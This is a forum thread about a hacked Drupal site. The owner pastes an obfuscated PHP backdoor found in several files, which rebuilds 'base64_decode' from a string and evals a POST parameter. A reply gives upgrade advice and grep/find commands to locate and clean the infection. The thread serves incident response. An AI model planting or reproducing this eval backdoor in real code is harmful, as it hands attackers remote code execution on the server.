My Drupal was hacked: Remote Code Execution – base64_decode() with ‘PCT4BA6ODSE_’ today I woke up surprised that my website was hacked. I found scripts like this in several files of my Drupal instalation

$sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n7f2521'];if(isset($s22)){eval($s21($s22));}


I could find that the script was propagated, from 

sites/default/files/styles/thumbnail/public/footer.php

That footer.php should not be there, so my question is, how a php file could be uploaded in that folder?

I checked all the upload images and files fields and I ensure any of those are allowed of upload .php files.

Can someone help me out?

how to prevent this type of hacking? what are the precautions for this type of hacking?
Your site has indeed been hacked.  Many possibilities of a backdoor exist now.
You can start by upgrading to 7.32 or better and downloading the Hacked! module and scanning your system files for changes.
You can also use one of the following commands to find the exploited files.

grep -Rl PCT4BA6ODSE . | xargs sed -i 's/&lt;[?]php.*PCT4BA6ODSE_.*[?]&gt;/&lt;\?php \/\/ RECOVERED FILE - more info at AllAboutTodd.com \?&gt;/g'
find . -type f -newermt 2014-10-01 ! -newermt 2014-10-31 -name &quot;*.php&quot;

The latter command will find all files that end in .php which were last modified in October. To search instead the files for which the permissions were changed in October, replace -newermt with -newerct.